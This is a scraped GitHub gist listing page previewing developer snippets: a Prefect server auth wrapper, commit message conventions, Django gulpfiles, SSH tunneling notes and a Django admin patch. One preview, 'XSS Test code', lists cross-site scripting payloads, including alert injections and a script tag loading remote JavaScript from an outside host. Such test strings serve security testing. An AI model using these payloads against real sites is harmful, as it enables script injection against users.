Skip to content

Instantly share code, notes, and snippets.

@AutumnSun1996
AutumnSun1996 / server.py
Created May 4, 2023 14:07
prefect server with apikey and basic auth
"""A simple wrapper for prefect server, with apikey and basic auth check.
usage:
```bash
# Allow prefect cli to access the server with same PREFECT_API_KEY.
PREFECT_API_KEY=XX
# base64 encoded `username:password`. Allow users to access the server with user:password.
PREFECT_BASIC_AUTH=XX
# start server
uvicorn --host $PREFECT_SERVER_API_HOST --port $PREFECT_SERVER_API_PORT --factory server:create_auth_app
@joshbuchea
joshbuchea / semantic-commit-messages.md
Last active July 5, 2025 10:43
Semantic Commit Messages

Semantic Commit Messages

See how a minor change to your commit message style can make you a better programmer.

Format: <type>(<scope>): <subject>

<scope> is optional

Example

anonymous
anonymous / XSS Test code
Created March 28, 2015 17:14
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
VM239:3 '';!--"<XSS>=&{()}
VM239:3 <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
VM239:3 <IMG SRC="javascript:alert('XSS');">
@soin08
soin08 / gulpfile.js
Last active December 4, 2023 22:33
Gulpfile.js to use with Django projects. Based on gulpfile.js from Google Web Starter Kit.
//Based on gulpfile.js from Google Web Starter Kit.
//https://github.com/google/web-starter-kit
'use strict';
// Include Gulp & Tools We'll Use
var gulp = require('gulp');
var $ = require('gulp-load-plugins')();
var del = require('del');
var runSequence = require('run-sequence');
var browserSync = require('browser-sync');
@staltz
staltz / introrx.md
Last active June 28, 2025 13:44
The introduction to Reactive Programming you've been missing
@mlouro
mlouro / gulpfile.js
Last active April 12, 2025 09:11
gulpfile.js with browserify, jshint, libsass, browserSync for livereload, image optimization and system notifications on errors
'use strict';
var gulp = require('gulp');
var gutil = require('gulp-util');
var del = require('del');
var uglify = require('gulp-uglify');
var gulpif = require('gulp-if');
var exec = require('child_process').exec;
var notify = require('gulp-notify');
@mhulse
mhulse / ssh tunneling.md
Last active July 26, 2023 15:22
SSH Tunneling: Map port from remote machine to your local machine so you can work from the remote DB (example using Django DB settings)...

SSH Tunneling

  1. In your local_settings.py file:

    DATABASES = {
    	'default': {
    		'ENGINE': 'django.db.backends.postgresql_psycopg2',
    		'NAME': 'django_%s' % (PROJECT_NAME,),
    

'USER': xxxx,

@aniav
aniav / flakes.py
Created September 12, 2011 13:45 — forked from mpasternacki/flakes.py
Django management command to run pyflakes against Django project
import ast
import os
from pyflakes import checker, messages
import sys
from django.conf import settings
from django.core.management.base import BaseCommand
# BlackHole, PySyntaxError and checking based on
# https://github.com/patrys/gedit-pyflakes-plugin.git

Selenium with Python

Author: Baiju Muthukadan
Email:baiju.m.mail AT gmail.com
Version: 0.3.2
@razum2um
razum2um / gist:1063986
Created July 4, 2011 21:47
django nested sets (level<=3) support
From bbb53d927c0949246c1735baaf34aa4261cfbb3c Mon Sep 17 00:00:00 2001
From: Vlad Bokov <[email protected]>
Date: Tue, 5 Jul 2011 04:14:42 +0700
Subject: [PATCH] nested sets (level<=3) support
---
django/contrib/admin/options.py | 36 +++++++++++++++
.../admin/templates/admin/edit_inline/nested.html | 48 ++++++++++++++++++++
.../admin/templates/admin/edit_inline/tabular.html | 13 +++++-
3 files changed, 96 insertions(+), 1 deletions(-)